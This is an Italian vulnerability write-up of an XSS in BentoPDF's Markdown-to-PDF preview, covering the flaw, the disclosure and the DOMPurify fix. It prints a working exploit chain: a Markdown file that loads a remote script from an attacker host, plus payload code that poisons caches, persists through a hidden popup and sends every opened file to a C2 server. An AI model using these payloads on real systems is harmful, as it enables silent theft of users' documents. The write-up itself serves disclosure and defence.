Una delle domande che mi pongo sempre quando faccio code review è: “qual è la vera superficie d’attacco di questa applicazione?”. Non in senso astratto (ogni applicazione ha superficie d’attacco), ma in senso concreto: se ottengo code execution qui, cosa raggiungo davvero? Quali dati circolano e dove vanno a finire?

Ho trovato BentoPDF mentre lavoravo a un progetto personale. Stavo navigando su GitHub cercando strumenti open-source interessanti, mi ci sono imbattuto, e ho pensato: privacy-first, PDF processor completamente client-side, WebAssembly, zero backend. Architetturalmente insolito. Vale la pena approfondire.

Quello che ho trovato non era una vulnerabilità particolarmente esotica a livello di sorgente: il punto di injection era, onestamente, abbastanza palese una volta che sai cosa cercare. Il tempo vero l’ho speso nel costruire una PoC che dimostrasse un impatto concreto. Trovare il bug è una cosa, mostrare cosa un attaccante ci fa davvero è un’altra.

Cos’è BentoPDF?

BentoPDF è un PDF toolbox open-source self-hosted. Comprimere, unire, dividere, ruotare, convertire immagini e documenti in PDF, estrarre pagine, aggiungere watermark, compilare moduli, firmare: un coltellino svizzero per i PDF, tutto eseguito nel browser. L’immagine Docker è un singolo container nginx che serve un’applicazione Vite/TypeScript compilata staticamente. Nessun backend. Nessuna elaborazione server-side. Tutto (e intendo proprio tutto) avviene client-side tramite moduli WebAssembly (PyMuPDF, Ghostscript, cpdf) che girano direttamente nel browser.

Il mantainer di BentoPDF lo definisce esplicitamente come “The Privacy First PDF Toolkit”. Il sito ufficiale e il repository GitHub rendono chiara la value proposition: nessun upload a servizi cloud, nessun server di terze parti, i tuoi documenti restano sulla tua macchina. È il tipo di strumento che team piccoli, studi legali e liberi professionisti installano in self-hosting proprio perché gestiscono materiale sensibile che non vogliono far uscire dalla propria infrastruttura.

Questo posizionamento è contesto importante per quello che segue. La garanzia di privacy non è solo marketing ma è architetturalmente reale. I file vengono elaborati interamente nel browser tramite WebAssembly e nulla viene mai inviato al server. Ma quella stessa architettura, nelle condizioni che descrivo, può essere invertita: invece di restare sulla tua macchina, i file possono lasciarla in silenzio ed essere reindirizzati all’attaccante. La proprietà che rende BentoPDF affidabile diventa il meccanismo di attacco.

Code review

Ho iniziato nel solito modo: capire l’architettura prima di leggere i singoli file. Build Vite, sorgente TypeScript sotto src/js/, un entry point per ogni tool (markdown-to-pdf.html, compress-pdf.html, ecc.), nginx che serve tutto come file statici. Nessun endpoint API. Nessuna autenticazione. Solo un’applicazione browser che riceve i tuoi file, li elabora in una sandbox WebAssembly, e restituisce il risultato.

La superficie d’attacco di un’applicazione senza backend è, a prima vista, ridotta. Non c’è SQL injection, server-side template injection, SSRF. Cosa rimane? Essenzialmente due cose: XSS e tutto ciò che riguarda come i dati controllati dall’utente vengono elaborati client-side.

Mi sono concentrato sui punti di ingresso dell’input: upload di file, campi di testo, configurazioni. Poi il convertitore Markdown-to-PDF ha catturato la mia attenzione, e se hai esperienza di web security research capirai subito perché. Renderizza il Markdown fornito dall’utente in un live preview. Live preview significa: input utente > rendering > DOM.

Quindi ho iniziato a tracciare il codice.

Flaw 1: html: true in markdown-it

src/js/utils/markdown-editor.ts, righe 271–272:

private mdOptions: MarkdownItOptions = {
  html: true,
  breaks: false,
  linkify: true,
  typographer: true,
};

markdown-it con html: true è documentato esplicitamente come non sicuro: i tag HTML grezzi nell’input passano attraverso il parser senza modifiche. La stessa documentazione di sicurezza della libreria dice che questa opzione dovrebbe essere abilitata solo quando ci si fida completamente dell’input, o quando si sanitizza l’output prima di iniettarlo nel DOM. Nessuna delle due condizioni era soddisfatta.

Tag come <img>, <svg>, <details>, <video> con attributi event handler (onerror, onload, ontoggle, onmouseover) passano senza modifiche. È by design: html: true è un flag che dice “voglio HTML grezzo”, e markdown-it lo consegna esattamente.

Flaw 2: innerHTML non sanitizzato

src/js/utils/markdown-editor.ts, righe 689–694:

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = html;  // sink
  this.renderMermaidDiagrams();
}

La stringa renderizzata viene assegnata a innerHTML senza nulla in mezzo. Nessun DOMPurify, nessuna allow-list, nessuna sanitizzazione di alcun tipo. Il parser produce la stringa, la stringa va dritta nel DOM. Il browser la analizza, trova l’event handler, lo esegue.

Flaw 3: nessun Content-Security-Policy

nginx.conf viene distribuito senza alcun header Content-Security-Policy. Il JavaScript iniettato ha libertà completa: può caricare script esterni da qualsiasi origine, emettere richieste fetch() o XMLHttpRequest verso qualsiasi host, aprire popup, registrare Service Worker. Qualsiasi layer mitigante che un CSP ragionevole avrebbe fornito è semplicemente assente.

Il trigger

Un file .md costruito ad arte:

# Report Finanziario Trimestrale Q1 2026

## Sommario Esecutivo

La crescita dei ricavi ha superato le aspettative con il 12.3% YoY...

<img src=x onerror="var s=document.createElement('script');s.src='http://attacker/poc_payload.js';document.head.appendChild(s)">

## Outlook

Il management conferma le guidance FY2026...

La vittima apre questo file nel tool Markdown-to-PDF. La preview viene renderizzata immediatamente. L’<img src=x> fallisce nel caricamento (la sorgente non è valida), onerror scatta, un tag <script> viene iniettato in <head>, e il payload esterno viene caricato. Nessun CSP lo blocca.

Ragionare sull’attack chain

Questo è il punto interessante, e dove ho speso la maggior parte del tempo.

Il sink si trova nella pagina Markdown-to-PDF. In una web application tradizionale con backend, sarebbe una classica stored XSS: il payload persiste server-side, chiunque visualizzi la pagina viene colpito. Ma BentoPDF non ha backend. Il file Markdown vive sulla macchina della vittima. Per sfruttarlo, l’attaccante deve consegnare un file .md costruito ad arte alla vittima e convincerla ad aprirlo nel tool. Social engineering, shared drive, allegato email: il meccanismo di distribuzione è off-site.

Una volta che il payload viene eseguito, sono nell’origine dell’applicazione. E ora?

Nella maggior parte delle web application la risposta è: rubate il session cookie, fate quello che la vittima può fare sulla piattaforma. Ma BentoPDF non ha sessione, non ha autenticazione, non ha account utente. Non c’è nulla da rubare nel senso tradizionale. Questa è la sfida che ha reso la ricerca genuinamente interessante: la vulnerabilità era ovvia, ma renderla rilevante richiedeva un tipo di pensiero diverso.

Ho iniziato da una domanda semplice: cosa ha valore in questa applicazione? Non credenziali, non token, non API key. La cosa di valore è il dato che l’utente ci porta: i file. PDF, contratti, fatture, documenti medici, qualunque sia il motivo per cui qualcuno ha scelto un tool PDF privacy-first self-hosted invece di caricare su iLovePDF o Adobe online. I file sono le crown jewel, e l’intera pipeline di elaborazione (ogni lettura, ogni conversione) gira direttamente nel browser della vittima tramite la FileReader API e WebAssembly.

L’intuizione che ha plasmato l’intero payload: il codice dell’attaccante sta girando nello stesso contesto che gestisce i file della vittima. Se aggancio FileReader.prototype.readAsArrayBuffer prima che BentoPDF lo chiami, intercetto ogni file che la vittima carica in qualsiasi tool: non solo Markdown-to-PDF, ma Compress PDF, Merge PDF, Split PDF, tutto. Non ho bisogno di accesso al server. Non ho bisogno di credenziali. Ho solo bisogno di restare residente nel browser.

Ma restare residente attraverso le navigazioni di pagina è la parte difficile. BentoPDF usa un file HTML separato per ogni tool: passare da markdown-to-pdf.html a compress-pdf.html è un page load completo. I miei hook nella pagina Markdown-to-PDF muoiono con la navigazione. Avevo bisogno di persistenza.

Ed è qui che entra in gioco il popup 1×1 pixel: una tecnica che sarà probabilmente familiare a chiunque abbia mai visitato un sito di streaming illegale. Quei siti aprono routinariamente finestre minuscole fuori schermo che rimangono in vita anche dopo aver chiuso il tab principale, eseguendo silenziosamente script pubblicitari o miner di criptovalute. Il meccanismo popup del browser non è soggetto agli eventi di navigazione: un popup aperto dalla pagina A rimane aperto quando la pagina A naviga verso la pagina B. E, cosa cruciale, window.opener nel popup punta ancora al tab navigato.

Ho usato esattamente questo meccanismo. Un popup 1×1, posizionato fuori schermo, invisibile alla vittima, che esegue un loop di polling che re-inietta il hook FileReader nella finestra principale ogni volta che una navigazione lo cancella. Entro un secondo da qualsiasi cambio di tool, gli hook sono di nuovo attivi.

Il payload: quattro stage

Il payload è un IIFE multi-stage caricato una volta e progettato per persistere per tutto il tempo in cui la vittima tiene BentoPDF aperto.

Stage 1: WASM provider hijack

var _origWasm = localStorage.getItem('bentopdf:wasm-providers');
var wasmPayload = {
  pymupdf:     C2 + '/wasm/pymupdf/',
  ghostscript: C2 + '/wasm/gs/',
  cpdf:        C2 + '/wasm/cpdf/'
};
localStorage.setItem('bentopdf:wasm-providers', JSON.stringify(wasmPayload));
report('/hijack', { stage: 'wasm_hijack', victim: location.href, ts: new Date().toISOString() });
if (_origWasm !== null) {
  localStorage.setItem('bentopdf:wasm-providers', _origWasm);
} else {
  localStorage.removeItem('bentopdf:wasm-providers');
}

BentoPDF legge gli URL di download dei moduli WASM da localStorage['bentopdf:wasm-providers']. Sovrascrivendo questa chiave, l’attaccante può reindirizzare tutti i download WASM (PyMuPDF, Ghostscript, cpdf) verso un server controllato. Un modulo WASM trojanizzato verrebbe eseguito con gli stessi privilegi dell’originale: accesso completo a ogni PDF elaborato dalla vittima, attraverso ogni sessione browser.

In questo PoC, la chiave viene sovrascritta, il hijack viene segnalato all’exfiltration server come prova, e poi immediatamente ripristinata, così i tool della vittima continuano a funzionare normalmente senza che nulla sembri anomalo.

Stage 2: Service Worker + cache poisoning (solo HTTPS)

Nelle installazioni HTTPS (window.isSecureContext === true), il payload registra /sw.js come Service Worker, poi enumera ogni file /assets/*.js in tutte le pagine dei tool BentoPDF e avvelena la cache del browser. Ogni entry avvelenata contiene il contenuto JavaScript originale più un hook aggiunto in coda:

;(function(){
  if (window.__BENTO_EXFIL__) return;
  window.__BENTO_EXFIL__ = 1;
  // ... FileReader hook + change event listener ...
  fetch(C2 + "/beacon", { ... });
})();

Nelle visite successive, anche dopo aver chiuso e riaperto il tab, il Service Worker serve il JS avvelenato dalla cache. L’hook si re-installa automaticamente. Questa è persistenza oltre la sessione browser, senza alcun accesso al server.

Stage 3: Popup monitor

var popup = window.open('about:blank', '_bentopdf_helper', 'width=1,height=1,left=-100,top=-100');
popup.document.write(popupCode);
popup.document.close();
popup.blur(); window.focus();

Un popup 1×1 pixel si apre fuori schermo, invisibile alla vittima. Al suo interno gira un loop:

setInterval(function() {
  if (target && !target.closed && !target.__BENTO_EXFIL__) inject();
}, 1000);

Ogni secondo, il popup verifica se window.__BENTO_EXFIL__ è impostato sulla finestra principale. Quando la vittima naviga da Markdown-to-PDF a un altro tool (Compress PDF, Merge PDF, ecc.), la finestra principale carica una nuova pagina. Il riferimento window.opener nel popup si aggiorna automaticamente: punta ancora allo stesso tab. __BENTO_EXFIL__ sulla nuova pagina è undefined, quindi inject() scatta: re-aggancia FileReader.prototype.readAsArrayBuffer e aggiunge un change event listener su target.document. Entro un secondo da qualsiasi navigazione, gli hook sono di nuovo attivi.

Questo copre il gap di persistenza tra gli stage: anche senza il Service Worker, la vittima è agganciata per l’intera durata della sessione browser.

Stage 4: Hook immediati sulla pagina corrente

var _origRead = FileReader.prototype.readAsArrayBuffer;
FileReader.prototype.readAsArrayBuffer = function(blob) {
  var fname = blob.name || 'unknown_' + Date.now();
  blob.arrayBuffer().then(function(buf) {
    fetch(C2 + '/file?name=' + encodeURIComponent(fname), {
      method: 'POST', mode: 'cors', body: buf
    }).catch(function(){});
  });
  return _origRead.call(this, blob);
};

document.addEventListener('change', function(e) {
  if (e.target && e.target.type === 'file' && e.target.files) {
    Array.from(e.target.files).forEach(function(f) {
      f.arrayBuffer().then(function(buf) {
        fetch(C2 + '/file?name=' + encodeURIComponent(f.name), {
          method: 'POST', mode: 'cors', body: buf
        }).catch(function(){});
      });
    });
  }
}, true);

Due hook, installati immediatamente nella pagina in cui il payload scatta.

L’hook FileReader intercetta a livello di prototipo: ogni chiamata a readAsArrayBuffer in qualsiasi punto dell’applicazione passa prima per questo wrapper, che invia i byte grezzi all’attaccante prima di delegare all’implementazione originale. L’applicazione continua a funzionare normalmente: la pipeline di elaborazione non viene alterata.

Il change event listener su document (fase di cattura) intercetta ogni interazione con input file prima che i gestori di BentoPDF la vedano. Il risultato è lo stesso: i byte del file escono verso l’attaccante nel momento in cui la vittima seleziona un file.

Cosa vede l’attaccante

[17:11:11] WASM HIJACK      { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON           { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON           { page: '.../index.html' }
[17:12:00] BEACON           { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED   Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON           { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED   Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

Quando ho visto la directory loot/ popolarsi per la prima volta, con un PDF completo e valido che arrivava sulla mia macchina mentre l’applicazione della vittima mostrava ancora l’operazione di compressione completarsi con successo, il pensiero è stato: ok, questo convincerà i developer. Non un alert(1). Un file reale, identico byte per byte all’originale, esfiltrato silenziosamente mentre la UI non mostrava nulla di anomalo. È il tipo di evidenza che comunica impatto senza bisogno di alcuna spiegazione.

La PoC

La proof of concept completa è disponibile nel repository CVE-2026-41653. Consiste in un singolo script Python self-contained (poc.py) che:

  • Genera il poc_report.md malevolo con l’URL dell’attaccante corretto incorporato
  • Serve il payload JavaScript dinamicamente su /poc_payload.js
  • Riceve i file esfiltrati e la telemetria, li salva in ./loot/
python3 poc.py --lhost <YOUR_IP> --lport 9999

Responsible disclosure

Ho segnalato inizialmente tramite GitHub Security Advisory inviando una descrizione tecnica completa, il payload a quattro stage e gli screenshot dell’exfiltration server. Poi ho trovato il contatto del maintainer direttamente su LinkedIn e gli ho scritto per avvisarlo che avevo condiviso un report.

Ha risposto immediatamente. Quella che è seguita è stata, genuinamente, una delle migliori esperienze di disclosure che ho avuto. Il maintainer è stato cortese e premuroso, sia nei confronti della mia segnalazione che dei suoi utenti. Ha riconosciuto il finding rapidamente, rilasciato una fix sulla build edge, mi ha chiesto un retest, e una volta confermata la solidità della fix ha pubblicato l’advisory GHSA e notificato personalmente i propri utenti del rischio potenziale. Nessun pushback, nessun ridimensionamento, nessun ritardo. Un esempio di come la responsible disclosure dovrebbe funzionare, da entrambe le parti.

Un audit interno più ampio, a seguito del mio report, ha scoperto diversi vettori correlati:

  • Diagrammi Mermaid: l’integrazione Mermaid usava securityLevel: 'loose' e scriveva contenuto SVG tramite innerHTML senza sanitizzazione, bypassando qualsiasi sanitizer applicato a monte. Risolto con securityLevel: 'strict' e un secondo passaggio DOMPurify sull’output SVG.
  • file.name XSS: circa 8 pagine di tool (Deskew, Form Filler, Remove Annotations, ecc.) concatenavano il filename direttamente nell’HTML senza escaping. Un file con nome costruito ad arte avrebbe triggerato XSS senza alcun Markdown coinvolto.
  • WASM provider persistence: la chiave localStorage usata per sovrascrivere i provider WASM non veniva validata al caricamento: qualsiasi valore impostato lì veniva usato, senza controllo di origine. Un attaccante che avesse già ottenuto il WASM hijack attraverso altri mezzi avrebbe potuto lasciarlo in place in modo persistente.
  • Service Worker cache: il SW esistente mancava di controlli di integrità, rendendolo banalmente avvelenabile nelle installazioni HTTPS.

Tutti questi sono stati risolti nella v2.8.3, insieme a un set completo di security header in nginx.conf (incluso il Content-Security-Policy).

La fix sul sink originalmente segnalato è stata:

import DOMPurify from 'dompurify';

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = DOMPurify.sanitize(html);
}

html: true può restare: abilita HTML legittimo nel Markdown, che è una feature deliberata. La fix consiste nel sanitizzare l’output prima che tocchi il DOM, che è esattamente il ruolo per cui DOMPurify è stato progettato.

Lessons learned

Per i developer:

  • html: true in markdown-it è una lama a doppio taglio. La documentazione della libreria lo dice chiaramente: quando abilitato, sei tu responsabile di sanitizzare l’output prima dell’injection nel DOM. Se lasci che il parser produca HTML grezzo e poi lo assegni a innerHTML, hai una XSS. DOMPurify tra md.render() e innerHTML è la fix, non un workaround.
  • Le applicazioni solo client-side non sono intrinsecamente più sicure di quelle con un backend. Hanno una superficie d’attacco diversa, non più piccola. Quando la tua applicazione è l’ambiente di elaborazione per file sensibili, una code execution in quell’ambiente è dannosa quanto la compromissione del server.
  • Un Content-Security-Policy non è opzionale nel 2026. In questo caso, una direttiva come script-src 'self' avrebbe bloccato il caricamento del payload esterno a livello browser: la XSS avrebbe potuto ancora far scattare handler inline, ma caricare un payload multi-stage da un host remoto sarebbe stato fermato. Defense in depth.
  • La sanitizzazione dei filename non è opzionale. Concatenare file.name nell’HTML è una XSS in attesa di esplodere. Usa textContent per la visualizzazione plain-text, o sanitizza se è richiesto HTML.

Per i security researcher:

  • Quando trovi una XSS in un’applicazione client-side, non fermarti a alert(1). Chiediti: quali dati elabora questa applicazione? Quali API usa? Se la risposta è FileReader e WebAssembly, hai tutto il necessario per dimostrare uno scenario di impatto molto più elevato.
  • L’architettura determina l’impatto. Un PDF processor client-side è interessante proprio perché i file (documenti potenzialmente sensibili) non escono mai dal browser. Una volta che hai code execution in quel contesto, quella premessa si inverte completamente: escono dal browser, verso l’attaccante.
  • Guarda che cosa conserva l’app in localStorage. Configurazioni, feature flag, URL dei provider sono spesso scrivibili dal contesto XSS e possono avere effetti persistenti.

Riferimenti